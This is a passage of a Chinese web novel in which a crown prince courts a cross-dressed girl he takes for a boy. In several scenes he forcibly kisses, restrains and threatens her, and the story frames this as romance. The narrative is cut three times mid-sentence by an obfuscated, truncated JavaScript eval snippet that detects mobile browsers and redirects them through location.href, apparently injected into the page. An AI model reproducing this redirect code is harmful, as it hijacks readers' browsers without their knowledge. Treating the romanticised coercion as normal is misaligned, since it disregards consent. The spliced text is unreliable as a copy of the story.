孟娴道：“哥哥，我等你的好消息。” 直到走出祠堂许久，她垂在身侧的手还是止不住抖，紧紧抓着假山的山石，才没倒下。 脑中是另一个带着书卷气的白净少年。 郑郎…… 孟娴眸色转冷。 曾几何时，哥哥待她，一如天下疼爱妹妹的兄长一般。这个家里，只有哥哥记得她。可是哥哥什么都有，连哥哥不要的，她都得不到。为什么哥哥还是不满足？ 哥哥既让她失去郑郎，她也不会让哥哥如愿求得宁郎垂青。 她要抢走哥哥所珍视的一切。 …… “宁宁今晚不回来？”姜夫人蹙眉，“去了哪里？” 小厮回：“少爷去了卞公子在的庄子上。” 英国公道：“你们都下去。” “夫人，”英国公揽着姜夫人，“宽心，宁宁有分寸。” 姜夫人发愁：“孩子大了，总不能一辈子守在我们身边。昔年我们与卞家指腹为婚，未曾想一语成谶，这可如何是好？” 英国公笑笑：“儿孙自有儿孙福，多思无益，我给夫人捏捏肩。” “夫君，”姜夫人美眸望向他，“若能退，咱们就退吧。” 英国公下颌抵在姜夫人柔顺的秀发上，闭了闭眸子，“我也正有此意。” 夫妇二人心下都是一叹。 …… 天微亮，城门开，常宁驱车到长街上，买了喷香酥脆的胡饼，打了些酱子，边坐在车上咬胡饼吃，边等开宫门。 其实宫门早开了，朝官已经进去上朝，但这些吃食要带进宫太麻烦，常宁又觉得胡饼香，决定多啃一会儿再进去。 等云策来了，明玉也从家里带了常宁的书袋过来。常宁让明玉和书剑、赵叔都回去，下学时再派人过来接她。 云策趁常宁不注意，咬了一大块，口齿不清，“你在哪里买的，真好吃。” 常宁没吃饱，委屈地拍他一下，“这是我的早饭，你吃了，我吃什么去。” “好说，”云策眉飞色舞，从自己的书袋里取出一块红糖糯米藕，“甜的，特意给你留的。你今天可是不对劲，平时可没这么稳重。” 常宁还兀自念着无忧，作出一幅失魂落魄的模样，摇头晃脑，“等你到我这个年龄，你就懂了。” 云策才不管这么多，将糯米藕塞给常宁，就着常宁的手吃下剩下的胡饼，神清气爽，“你这饼真好吃。” 常宁笑笑：“下次给你带。有这么好吃吗，我都咬过了你还吃？” 云策点头:“自然。” “不理解，”常宁背过手去，伸了个懒腰，“走走走，上课去。” 这日子，怎一个平淡如水。 常宁倒是清净了，李稷却愈发沉默。 这日，李稷难得到正殿用膳，直到膳食上全，也没见到常宁，一顿饭吃得没滋没味。 刘总管提心吊胆，就怕他问一句。好在直到用完膳，李稷也没提过常宁。刘总管这心里，不免就升出些期许，兴许他家殿下前些日子只是太累了，这才有失格之举。如今远着常宁，那些绮念自然都消了。 近日连绵阴雨，太傅卧床不起。刘总管早就备好了礼单和出行事宜，随李稷去探望太傅。 夏荷亭亭，车马从茶楼下驶过时，风中送来常宁的声音，如在耳畔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378930|167231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一层竹帘，影影绰绰，送来风，也让李稷瞥见楼上常宁的身形。 那些逗趣的话，也不是他一个人的专属，笑颜也并非为他一人绽放。 他偏要呢？ □□的放纵、情欲的沉沦……他都可以不要。只要常宁在他身边，只要常宁的一切只能依附于他而存在，就够了。 …… 常宁的生辰宴，就在七夕这天。 说是宴，实则极小，不过是邀上常宁的同窗，在常宁院子里聚一聚。 姜夫人总念叨，生辰宴是给老寿星办的，常宁小孩家家，命数还长，不急着办生辰宴。但朋友们聚一聚，却是在所难免，因此只让常宁请御书房的同窗来。 常宁觉得便宜了他们，她娘都没给她烧过这么多菜。 是夜，姜夫人和英国公早早地就在小亭中对酌，打定了主意不去管常宁那一院子少年人，任他们玩闹去。 酒意微微上头，二人正是浓情蜜意，忽然听人来报，说是太子殿下驾到，忙整衣敛容，前去接见。 他们家没旁的事，只有常宁今日生辰，听那刘总管话意，殿下是要来见常宁，不由愕然。 宁宁和殿下，当是没有这般要好的。 夫妇二人笑着，引李稷到常宁院里。院门大敞，绿柳红花，翠竹疏疏，水绕山石，灯火通明，一眼便瞧见围坐一起的几个少年人，以及堆放在旁侧的礼物。 常宁像个山大王一样，嘚瑟地坐在椅子上，歪着脑袋翘着二郎腿，享受云策等人喂来的鲜果美酒。 “喂，常宁，哪个最香？” 常宁摇头晃脑：“哪个都不香。让开让开，挡住我视线了，我瞧着我娘来了。” 英国公额角青筋直跳：“你爹也来了！” 常宁瞬间清醒，忙端端正正站起来，瞥见同窗们都已经规规矩矩坐回位置上了，不禁懊恼，“爹，没喝醉，没玩过分的。” 视线一清朗，这就看到了旁边黑沉着脸的李稷，又是一个激灵。 也没做过分的事啊？拳都没猜。 姜夫人正要开口，刘总管笑道：“夫人不必责怪小少爷，也不必想陪。殿下过来坐一坐就走，不搅扰夫人了。” 英国公道：“小儿无赖，有行止不当处，殿下只管责罚，我与夫人绝无二话。” 直到与夫人走远了，英国公才叹气，“夫人，我欲再给宁宁延请名师，你意下如何？” 姜夫人道：“也可。只是，只在宁宁下学后和休沐时来授课，可能找到这样的先生？” 找先生不难，找德才兼备还愿意迁就他们时间的名师却难。英国公笑笑，“我还有几位老友，请他们做说客，无非多费些时日。我带她出去走亲访友也行。” 姜夫人嗔怪：“她一句软话，你就把人放跑了，还是请个先生得好。” 那山大王珠环玉绕的模样，只差左搂右抱了。虽知常宁喜爱交游，姜夫人也不放心。 常宁那边就苦了。 李稷一来，他们玩都玩不开心，话都不敢多说，对着满桌美酒佳肴，口中绕来绕去却都是圣贤书，怎一个惨淡无趣。 偏李稷不走，硬是熬到常宁受不了，挥手说要散席，才算是解脱。 26. 怎么不亲了 到常宁生辰这天，常宁都有一个月没去东宫了。 左右去了也见不到李稷，他好像不是很喜欢她，也不太乐意见她。兼之庆和帝要常宁带安亲王熟悉京城，常宁索性连午膳都不去东宫了，午间呼呼大睡，再陪明净玩到宫门落钥。 自生辰夜送走了李稷，常宁就破罐子破摔了。他既不喜欢她，她在他面前有多差劲，估计都一样，她才不去想他为什么不高兴呢。 无非是觉得常宁贪玩、不堪重用。 常宁还不想被他重用呢。 恰好翌日先生告假，给他们放了一天学，常宁睡得饱饱的，去喂养的鱼儿。 夏日已有些燥热，常宁食欲不振，还真想念郑御厨的手艺。 明玉给常宁带了新出的话本，才子佳人那套，常宁都看腻歪了，随手塞进书架里，抽手时带出一本上了年头的书来。 虽上不得台面，但一个人躲着看，也是津津有味，小半个时辰便过去了。 常宁给藏严实了些，心下好奇得紧。这和人亲起来，真就有这般滋味，叫人欲罢不能？ 明玉紧张：“少爷，你看我做什么？” 书剑摸摸脸：“我今天没洗脸吗？” 常宁忽得笑起来，“等着少爷的好消息。” 一路打听着姜夫人在哪儿，知晓她在凉亭里纳凉，常宁高兴地跑过去。 她是女扮男装没错，但她求求娘，娘就能给她找男扮女装的呀！ 不要多久，让她亲一下就好！ “哎，少爷，夫人正要叫你呢。” 常宁也不停：“我这来得正巧。” 等不及丫鬟挑竹帘，常宁就自己挑开了，眉飞色舞，“娘，娘，娘，娘亲！我想和人亲亲，你给我找个人嘛！就一天，就一天……咦？” 姜夫人轻咳一声，侧身对李稷解释，“这孩子，这两天就爱说些胡话。” 常宁脸热，转了转眼珠，应道：“是，我这两天被热着了。殿下怎么来了？” 李稷少言寡语，刘总管但笑不语，姜夫人亦是羞愧，“殿下要带你拜见太傅，请太傅给你指点功课。” 就差了两岁，怎么她家宁宁就整日乐颠颠的。 刘总管帮腔：“是啊。常少爷，时辰不早，这就走吧。” 姜夫人感激：“麻烦公公了。” …… 常宁规规矩矩坐在马车里，低头看手指。 李稷翻书用水的声音从未间断，常宁等着他发怒训斥她，未曾想他竟一言不发。 “公子，到了。” 常宁跳下马车，掌心朝上，要引李稷下来，被李稷避开了。 大白天呢，就来红袖招，和她也彼此彼此嘛。还说要带她见太傅，就可着劲儿骗她娘呗。 常宁心里直摇头，心里那点距离就没了，理直气壮地跟在李稷后面进去。 不过确实不一样哈，常宁白天来，只能见无忧一个人。李稷来，见的人就多了。 但他太冷，花娘还未近他身，就被刘总管挡了回去，只好努努嘴来常宁这边。 常宁鼻尖登时盈满香气，心都醉了，对李稷生出一丝感激。 原来殿下是为了带她来亲嘴！ 常宁笑眯眯，“只能亲我脸，不可以摸我，不然我走了。” “妾晓得了，”姑娘粉面含春，柔唇就要近常宁脸庞，忽地飞来一只杯盏，打碎在常宁面前的小几上。 姑娘被吓到了，刘总管忙道：“都下去。”连带着他手下那群太监侍卫，也被他赶出了房门。 “殿下，人都走了。” 李稷：“你也下去。” 刘总管躬身：“奴才这就走。” 被李稷那双黑沉凤眸盯视着，常宁没来由发慌，低头看着案。 那道视线如芒在背，压得常宁喘不过气来。只待李稷移开视线，常宁才悄悄抬眼，想看下他的神色。 李稷瞬间看来，常宁迅速低头。 “白日宣淫，你好得很。” 这话，常宁不敢应啊！只好缩头装乌龟。 “抬起头来。”李稷嗓音冷得出奇。 常宁抬头，腆着脸挤出抹笑，“殿下，我错了，没有下次的。” 李稷置之不理，“可有亲过他人，或是被人亲过？” 常宁气壮了：“没有。” 沉着有力的脚步声响起，李稷步至常宁面前，微凉的指尖搭在常宁下颌处，用力迫常宁起身。 常宁下巴被他捏得有些疼，李稷却要常宁直视他的眼睛。 她退一步，李稷进一步，直到常宁脊背撞上一堵墙，再没了退路。 “殿下，您、您要做什么？臣叫刘总管进来……” 未尽的话音，皆被李稷覆下的薄唇吞噬。 常宁眸中满是不可思议。 居然敢亲她，那必须亲回去啊！ 不对，兔子还不吃窝边草呢，她常宁总不能连兔子还不如！ 错了错了，李稷居然亲她？疯了吧！ 李稷宽大的手掌扣住常宁纤细手腕，反压在墙上，修长有力的腿制住了乱动的常宁，唇齿之间，满是常宁口中的香甜。 对上的，是一双错愕的、波光潋滟的桃花眸。灼灼春色，尽在其中。 常宁喘不过气来，眼眸湿润，唇瓣殷红，连李稷从她唇上离开都不知道，只颊边坠下滚滚珠泪。 “真是没用，”李稷抬手，抹去常宁眼角的泪，粗糙指腹将眼尾抹得红艳，“也没书里那么厉害嘛。” 想这少年这般无措又糜丽的模样，只在他一人面前绽放，李稷嗓音便扬了些，“怎么个个都喜欢你？” 他手指捻上常宁耳垂，圆润可爱。常宁撇过头去，避开他的手。 “看着孤。” 常宁逼回泪意：“殿下，您放开我吧，我腿疼。” “好呀，”李稷呢喃，“你亲孤一下。” 常宁垂首。 李稷嗓音幽幽：“委屈了你？” 常宁一个激灵，忙摇头，“是我怕委屈了殿下。我是个粗俗的人，比不得女孩家柔美，不敢污了殿下。” “嗯？”李稷扯出个笑，“不愿意当断袖？嫌弃孤？” 常宁正要点头，被李稷眸中的寒芒一冷，匆匆改口，“殿下是极好的，只是我愚笨，一时难以接受。请殿下多给我些时日。” 李稷颔首，依旧将常宁定在墙上，似将常宁抛之脑后。 常宁无法，壮着胆子踮脚，轻轻在他颊边亲了一下。 李稷迅速低头，将常宁口中的话语尽数吞咽在腹，化作呜呜咽咽的喘息。 常宁控诉：“你怎么这么不要脸！” 李稷一笑：“这么看着孤，是要孤现在就*了你？” 常宁脸庞涨红，被他粗俗的话吓坏了，又羞又急，双手环住他腰身，埋在他胸口，“不要，我受不了的。” 李稷被常宁蹭得心头发软。那嗓音里的怯意，险些让他真放过了他。 一个男人罢了，李稷不过吓他一二。 同一个男人云雨……李稷也难以接受，更不会真做，捏准了常宁害羞，轻启薄唇，“守好你的身子，等着孤*你。若是胆敢如今日一般，孤可不会轻饶。” 常宁恨死他这粗俗的话了，却知道得先稳住他，见他钳制隐有放松，拉着他回去坐下，却被他按在身旁。 “殿下？”常宁飘忽忽的，一切都恍如梦一般。不，她做梦都不敢这么做。 明明……李稷只是待她寻常，甚至近两个月都冷待她，明摆着不待见她，为什么突然就亲她？还说那么过分的话。 “倒杯茶来。” “哦哦，”常宁往杯子里倒了一杯，推给李稷，“殿下，我是不是惹你生气了？” “你不是要亲人吗？”李稷笑道，“怎不亲了？” 常宁看过的禁书，李稚那本算一个，今天这本又算一个，统共就看过这两本，还是大眼一扫就过了，被他羞得满面通红，“我只是随口一说。” 随口一说，就让花娘亲？ 李稷冷笑。 男人又如何，他看上了，那就是他的。纵使他一辈子都不和常宁亲密，常宁也要待在他身边。 常宁冷不丁被他带进怀中，跌坐在膝上，抬眸看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年的脸在李稷面前骤然放大，桃花眸中满是水光，嗓音很是认真，“你爱我吗，殿下？” 李稷颔首。 常宁小心翼翼：“真的？” 李稷颔首。 常宁唇边绽出个笑，“那殿下，你要好好爱我呀。” 李稷被晃了一下，“此作何解？” 常宁眉眼弯弯，察觉他束缚弱了，站起身来，背手踱步，“就是很爱我很爱我。要捧着我、宠着我，要哄我开心，不能总是惹我落泪。殿下，你今天这样，我就很害怕。” 常宁转了一圈，踱到李稷面前，跪坐下来，手指着自己眼睛凑近了，“你看，眼睛都红了。” 李稷笑道：“是孤不对。” 常宁眼眸亮了，振振有词，“还有那些让人讨厌的话，可不可以也不说？也不能让陛下杀我啊，那样我就见不到你了。” “哦？”李稷抚摸常宁白净细化的脸颊，凤目含笑，“宁宁，今夜子时前，到长平巷尽头寻孤。” 常宁摇头：“我家里管得严，寻常不让在外面过夜。” 李稷随口一说罢了，不过是吓他一吓，兼之此刻被常宁哄得心绪甚佳，遂就此收手，待常宁寻太傅去。 他和太傅商谈政事，常宁就蹲在太傅的湖边钓鱼，半天也没钓上来一条，晒得头昏脑涨。 更重要的是，不想见李稷。 刘总管过来给常宁送水，看常宁大汗淋漓、眼都睁不开的模样，伸手来探常宁额头，“没生病就好。” 常宁嗓音虚弱：“好热好困，我要回家睡觉。” 刘总管不敢应，示意小太监找机会请示李稷，带常宁到亭子里先歇着。 睡得迷迷糊糊时，常宁听到刘总管的声音，“小少爷，奴才派人送你回去。郑御厨近些日子做了几道新菜，殿下的意思，往后少爷还到东宫用膳。” 常宁揉揉眼，起身往外走，“烦请你代我谢过殿下。” 切，谁去啊。 明天见不见得到还不一定呢。 27. 跑什么 常宁一回家，也顾不得睡，“明玉，明玉，快帮我整书箧，我要去游学。” 书剑奉上凉茶，常宁咕嘟嘟灌下去，总算压下了点火。 瞧见常宁一幅立马动身的样子，书剑迟疑道：“少爷，夫人在给你找先生了，用不着出去游学吧？老爷和夫人都不在府里，何不拜见过老爷夫人再走？” 常宁也想啊。可李稷不好惹，现下他是被太傅绊住了，腾不出手安排人盯着常宁。待到他闲下来，派来个盯梢的，常宁去哪里都不自在。 何况李稷要脸，才不会一天之内来府里找常宁两次呢。再不走，可就晚了。 “先这样，我给爹娘留封信。你再去带些金银珠玉，轻便一些，咱们往南走。” 见人都应下了，常宁这才提笔写信。 今日始知，亲起来也不尽是话本上那种美妙滋味，常宁嘴巴疼死了，再不想试了。 可李稷看起来很喜欢。 那怎么行？ 常宁愤愤。 …… 刘总管心里苦。 好端端的殿下，短短三个月就断袖了，叫他如何开解自个？若被二皇子知道了，指不定怎样攻讦殿下。 要他对常宁下狠手，他也做不到。可就这么放任下去，等殿下这派的臣僚知道了，可不得挑着错处剐他一层皮。 等那时候，常宁才是危。 何况今日二人自红袖招出来，一个满面春风，一个捂着唇羞怯，刘总管就是想自欺欺人，也没法儿了。 李稷放下一份折子，抬眸似笑非笑，“好奴才，心疼他了？” 刘总管道：“轮不到奴才。” 李稷一笑：“知道就好。他几时到御书房？” 刘总管早就打探过了，“开课前两刻钟。” “油嘴滑舌的，还挺上心，”李稷道，“明晨给他送些糕点蜜水。” …… 翌日，李稷下朝后，与宾客方俞周在东宫共谈。 方俞周道：“殿下，近来二皇子处处被我们压一头，却静得出奇，依臣所见，必是所图甚大。” 李稷亦有此意，“可有些头绪？” 方俞周：“只是三成把握。这半年来，江湖上惨案频出，二皇子恐怕要在这上面做文章。” 檀香冉冉，博山炉香雾氤氲。方俞周展眉，露出个笑，“殿下，您于常宁有恩。他遍交天下朋友，打探消息自有灵妙之处，托他打探一二，必定事半功倍。” 李稷颔首，不拒不应，“孤自有打算。” 庆和帝忌讳皇子与群臣结交，方俞周不能留太久。待他走出殿门，李稷瞥一眼漏刻，料想派到御书房的内侍要回来了，眉目一松。 那少年，落起泪来别有风韵，冲人笑时亦令人开怀。不知见了内侍，用了糕点和蜜水，嘴要甜成什么样。 刘总管稀奇:“殿下，人还没回来。”寻常这时刻，怎么也该折回来一阵了，莫不是懒怠了。他当即招来徒弟，“你去看看，怎么一回事。该罚的，不要心慈手软。” “是。”徒弟还没踏出去，派去的内侍便匆匆回来了，朱漆食盒上的彩线都没拆，封得严整。 刘总管皱眉：“没送出去？” 小内侍额汗滚滚：“常伴读……没来。奴才问了学监，学监说、说……” “说什么？” “常伴读家里告了假，出去游学了，归期不定。” 这真不啻于一道惊雷。 刘总管不着痕迹地看李稷，见他神色平平，眉间却拢着淡淡的阴影，心下大骇，“殿下，小少爷兴许过些日子就回来了。” 他私心里存着怜意，有心助常宁一把，被李稷若有若无地看一眼，忙跪地请罪，“奴才多嘴。” 白底乌靴自他面前踩过，李稷看向提着食盒的内侍，眸光锐利，“人去了何处？” 内侍跪地，呈上卷纸，“大抵不出此线路。” 李稷：“你是何人，在东宫任什么职？” 内侍垂首，恭谨道：“奴才青鱼，负责殿前洒扫。” “刘章。” 刘总管膝行，朝向李稷，“奴才在。” “提他到昭阳殿。” “是。”昭阳殿，他前些时日才同殿下提过，想调自个的徒弟升迁。今日送食盒，是个美差，如若不出意外，跑跑腿就能得殿下青眼，他早就安排了徒弟过去，不知为何，却成了这没见过几面的内侍。 好个心计深沉的，冒着挨罚的风险，也要打听来常少爷的踪迹。 倒叫他赌对了。 李稷立在殿门，高大的身形遮去大半阳光，“青鱼，传令太仆，即刻出行。” …… 麦田翻金浪，风里都是田野清爽的气息。 常宁坐在马车外面吹风，摇着折扇，好奇地打量着行人。 夏日炎炎，道旁的驿馆里，有唱和着卖酸梅汁的，色泽鲜亮，香气扑鼻。 左右李稷不会派人来找她，又近午时，常宁就近带人进驿馆，打了酸梅汁，又点了些小菜，准备避过正午日头最毒辣时再出行。 水井中还有冰镇瓜果，常宁要了些葡萄，回自己房里看书。 许是午时人困马乏，驿馆里渐渐安静下来。有人叩门，常宁以为是车夫，过去拔开门栓，看清站在门口的眼生内侍，脸上的笑便僵住了。 举目四顾，车夫和书剑都被绑了，嘴里塞着块布，急切地呜呜叫。 李稷嘴角噙着抹笑，好整以暇地望着常宁。 常宁心中惴惴，“殿下，您绑他们做什么？” “死到临头，还装糊涂？”李稷迈出一步，逼得常宁后退，挤进了房门，瞥过桌上犹带水珠的紫葡萄，“少爷可真是，一点也不亏着自己。” 常宁哪敢听他喊她少爷，见门外不止站着内侍，还有几多侍卫，不由眼前一黑，挥手道，“你们都离远点，把门带上。” 青鱼尚且犹豫，刘总管哼一声，“赶紧的，审问刑犯可别在这儿，免得脏了殿下的眼。” 常宁语带焦急：“不是刑犯，先别用刑。” 门也合上了，李稷仰靠在椅背上，闭目养神，唯有剧烈起伏的胸膛和手背凸起的青筋，昭示了他此刻的愤怒。 “哥哥。” 这一声，带着些许依赖，动听得紧。 李稷毫无波澜。 昨日浓情蜜意，情浓之际，他二人交颈相缠，肌肤相亲，可不妨碍小少爷天不黑就跑了。 “哥哥。” “哥哥……” “哥哥！” 常宁从身后环住李稷，俯身看他，“我错了，你别不高兴。” 李稷又嗅到清浅的幽香，“错哪儿了？” 常宁道：“我不该不说一声，就自己出来。下次我一定提前告知您，不让您担心。” 李稷无言，只是将人拽进怀里，听着人惊呼一声落在他膝上，水润的桃花眼无措地扑闪。 常宁笑笑，回身按在他肩上，理了理他耳畔散下的碎发，“殿下，我也喜欢抱着你。” 游学倒也不只是借口。常宁今日便穿了藏青儒衫，唐巾上的软翅随着她的动作扫在李稷颈上，带起些痒意。 依旧是肤白唇红，却少了些往日朱衣金冠的骄矜，多了些书生气。 惯会油嘴滑舌，口中的甜言蜜语，十分能有一分真就不错了。只怕那一分真，还是为了哄他才装出来的。 李稷一手揽在常宁腰上，一手替常宁拭去额汗，扯唇勾出个笑，“可真？” “真，比真金还真。” “好宁宁，”李稷道，“你可愿意做些更让孤开心的？” 常宁狐疑：“什么事啊？” 李稷垂首，凑近常宁耳尖，令声道：“衣服脱了。” 常宁果断拒绝：“不行！” “反应这么激烈做什么？”李稷指尖移到常宁领口，微微挑起一侧，素白的里衣紧裹着常宁脖颈，“不是比真金还真？” 常宁道：“我家里管得严，出门在外衣冠要穿戴整齐，不许衣衫不整的。” 李稷反问：“衣服不能脱，小倌能带回家？” 常宁：“……” 李稷放开常宁，抬手解襟扣，将褪下的外衫挂在红木楎架上，只着中衣，眸光看向常宁，“如此可好？不算委屈了你。” 眼见李稷还要解里衣，常宁忙攥住他手，“够了够了。” 常宁也把外衫脱了，就近扔在桌子上，哼道：“满意了吧？我不高兴。” 李稷挑眉：“怎么穿麻衣？” 常宁头也不抬，“凉快。” 少年清清瘦瘦的，双手环胸，背对他站着，背影里都透着气闷。 李稷缓步绕行到常宁面前，常宁低眸轻哼，足尖一转，继续留给他一个背影。 他不做个姑娘家，真是屈才了。 夏蝉鸣叫，凉风习习。李稷坐进靠椅里，难得安心，执起常宁遗留在桌上的书卷，专注看书。 他看了多久，常宁就郁闷地站了多久，站得腿脚发麻。屋子里这么安静，几近落针可闻了。常宁既不愿意走动，也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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常宁难受极了。这种感觉，似痒非痒的，却让人禁不住颤栗，浑身都要弹起来，只想尽快远离。偏偏被李稷钳制着，退不得，眼里蒙着水雾，将脸埋在他颈窝里，不舒服地直哼哼。 又怕他手往上，常宁胡乱扭着往他怀里钻，想甩开他的手，意识都有些朦胧了，看他都有重影。 李稷总算停了，手掐在常宁后腰上，看常宁歪在他怀里气喘吁吁，额发被汗水打湿，黏在光洁莹润的额头上，心下大惊。 那夜，刘总管带来的小倌，只让李稷反胃。哪怕他竭力劝说自己接触，也没法容忍小倌的靠近，即使那小倌和常宁容貌性情都有相似之处。 越相似，他便越想作呕。 手下肌肤温热柔滑，为何他讨常宁欢心，却乐在其中？ 常宁桃花眸雾蒙蒙的，眼尾潮红，察觉到李稷的视线，龇牙瞪他一眼，“还看，无耻啊！” 李稷：“这就爽了？” 常宁又羞又气，嚷道：“被人揪着挠痒痒，你不难受？” 还跑也跑不掉，常宁险些晕过去。 李稷改做搂着常宁，将人搂正了些，在耳边道，“这可不一样。” 只是指尖在他腰上划一划而已，他就受不住了。 常宁气闷，“你总是说这样让人讨厌的话。” 明明从前，李稷很古板的，话都少得可怜。中间李稷还冷落常宁两个月，常宁都以为她要被李稷忘掉了，他却像公孙瑾一样，突兀地就要闯来亲常宁。 他比公孙瑾还过分。 李稷一笑：“无耻、讨厌？你哪次不说，又有哪次没快慰？” 常宁道：“放开我。” 李稷不语。 常宁谆谆善诱，“殿下，您是太子，国之贰本，定是要娶妻生子的。我就不行了，我是个男人，若是被人知道了，殿下要被攻讦的……” 李稷凤目盯视常宁，“你以为孤非你不可？” 常宁窃喜:“自然不是。” 李稷的手松开了，常宁起身坐开。她的葡萄还没吃完，随手捻起一颗，剥了皮往嘴里送，酸酸甜甜的。 就是不冰了，不然风味更佳。 这副没心没肺的模样，看得李稷心头窝火，冷声道：“你生得好，孤多看一眼怎么了？” 常宁笑眯眯：“那你能看多久啊？” 李稷：“至多三个月。” 常宁眸子微睁：“三个月后就不亲我了？” 李稷绷着脸颔首。 有了盼头，常宁就高兴了，剥了颗葡萄给他，“你吃。” 李稷道：“回京。” 28. 用膳 配殿里，几位先生聚在一处，讨论授课章程。 严先生资历高，学问好，德行出众，一向是领衔者。 “严先生，近来常宁明显怠懒，时不时便要告假，交上来的课业也不如从前，为何还将他放在甲等？我等不服。” 严先生捻捻胡须，“诸位，人非圣贤，孰能无过？既进御书房，经陛下御笔批准，无论出身如何，都当一视同仁。学子犯错，我们为人师长，要找的是病因，不是放弃学生。若这一程里，常宁还是如此，便由尔等来领衔，我甘愿退居其次。” 英国公钓鱼养花无所事事，英国公夫人整日在商肆里忙碌。在座颇有些过于自负的文人气，自诩清高，自然心有鄙夷。 且不提众人心内作何感想，口中自是连连称道不敢。 出了配殿，小童阿昭搀着严先生，一眼就瞧见等候多时的常宁。 常宁躬身问好，恭恭敬敬将水囊捧给严先生，“天热，学生备了黄蒿水，清热解暑，敬奉先生。” 严先生颔首，拧开塞子，入口不冷不热，微苦，正合他老人家的品味，“有心了。” “先生喜欢就好，”常宁眉开眼笑，“先生可否给学生多留些课业？前些日子是学生荒唐，误了学业，蒙先生不弃，请先生多多指教。” 严先生面容端肃古板，闻言睁着老眼琢磨了一瞬，这才目露欣慰，“常生，你是个上进的学子，为人侠义良善，将来定为良吏。老夫之盼你，固守本心。亦宜自励，以图日新。” 常宁动容，拱手垂首：“学生谨记。” 严先生不住点头，当场口述一份课业，“功成不在一日，切忌贪多嚼不烂。你且回去用心攻克，待老夫阅过，再为你酌情增量。” “阿昭，”他回首叫书童，“老夫有一物遗落在配殿，你在此等候老夫。” 常宁目送先生进配殿，就听那小童冷哼一声，不由失笑，“小先生，可是我惹了你不快？” 阿昭忿忿：“不开窍的呆瓜，再不奋进，先生要被你连累得做不了领衔了。” 严先生慢腾腾挪到窗边，视线越过窗子，瞧见面红耳赤的小童和眉目含笑的常宁，甚是欣慰。 他今日，除却惜才，确有私情。 昔年他为一桩要了无数人性命的大案奔波，夜间难以安眠，晨起时早膳都来不及用一口，便匆匆赶往御书房授课。再一日，晨课前入配殿，书案上放着熨帖的食盒，菜美粥鲜。如此一月，直到常宁号病假，托毛手毛脚的云策给他送食盒，被他撞了个正着，这才弄清缘由。 那年的常宁，堪堪高过严先生的腰，稚龄小儿贪睡爱玩，竟也能给他送月余的早膳，还特意避着他。 一晃也过去七八年了，严先生再忆起来，还是记忆犹新。 …… 常宁挎着书袋，走过鸣春湖，要往东宫去。 月牙门里绕出个昳丽少年，灿如烈阳，奴仆环绕，前呼后拥，眉目间天然一派贵气，唇畔常带三分笑意。 常宁停下行礼，“英国公府常宁，见过殿下。” “起来吧，”李慎英眉斜挑，“这是要去哪里？” 常宁：“回殿下，臣要去东宫。” 李慎笑意更深，“快去，我不耽误你。太子皇兄雷厉风行，你可莫要让他久等。” 常宁紧张了些，连声道谢，带着青鱼步履匆匆地往东宫赶。 贺成华冷哼，“太子殿下对他倒是好，接连半月都召人进东宫，连膳食都给人备着。” “到底是香饽饽，”李慎耸肩，惬意地笑，眼尾上翘，眸光直直盯着常宁背影，“谁人能免俗呢？黄白阿堵，还是钱帛动人心呐。” 贺成华目闪精光，“何不敲他一笔。” 李慎笑意不变，却劈头盖脸地骂下来，“战场上的黄沙吃多了，连话都不会说了？也不看看在什么地方。贺老三，你想死，别拉着本殿下。若不想干，本殿下也有得是人提拔。” 贺成华虽是李慎母族表兄，家中兄弟却有十多个，伸手就抽在自个脸上，呜咽道：“殿下，臣知错。臣再忧心军饷，也不该干这强取的勾当。” 李慎眸色一冷，“老三，你糊涂。” 四海财富皆依附他李氏皇族而生，取自家钱财，如探囊取物，不过寻常而已，算什么强取？要不出来才叫强取，要得出来那叫献。 …… 昭阳殿里，常宁埋首书案，奋笔疾书。 小童阿昭的话犹在耳畔，常宁心头愈发羞愧。 常宁找先生多要课业，只是企图借此事与李稷少接触，严先生却一片赤忱真心。 她捏着笔管皱眉思索，就觉颊上一凉，李稷不知何时过来，湿了帕子在给她擦脸。 拭去了人脸上的墨痕，李稷拾起一份课业，从头到尾细细品读，“不错。” 常宁弯眸笑道：“谢谢殿下。” 她红唇紧抿，桃花眸专注，面上惯有的嬉笑模样也少了，只他问话时抬眼看他，其余皆是落在未尽的课业上。 李稷道：“心情不好？” “是，”常宁三言两语交代一番，“我好让严先生失望。他已年近古稀，我还这般顽劣。” 如此低眉垂眼，嗓音闷闷，再讲下去，李稷毫不怀疑常宁要落泪，拿起另一份功课来看，“已写完了，怎么还写？” “不够好，”常宁道，“我要写我能写出来的最好的。” “随你，”李稷一笑，“不要误了出宫的时辰。” 他既来寻常宁，自是要厮混一番。眼下见常宁眉目含愁，捏着笔杆一副发愤图强的模样，便在人颊上一吻。 常宁飞红了脸，伸手推他，“我做正事呢。” 李稷：“不耽误你。” 常宁别过头：“你亲起来没别人舒服，我不喜欢。” “除去孤，你还和谁亲过不成？” 常宁嘁了一声，“话本上看的呗。” 总是他亲她，那疼了肯定是他的问题，常宁想都不用想。 “纸上得来终觉浅，绝知此事要躬行……”李稷话未尽，便被常宁打断，“那我不想躬行。” “大胆。” 常宁笑道：“那你罚不罚我？” 李稷命人布膳。 常宁得意了，洗笔收拾笔袋，夹了几筷子菜，就专心扒饭。 间隙一抬头，就见李稷盯着她瞧，笑问，“怎么了，殿下？” 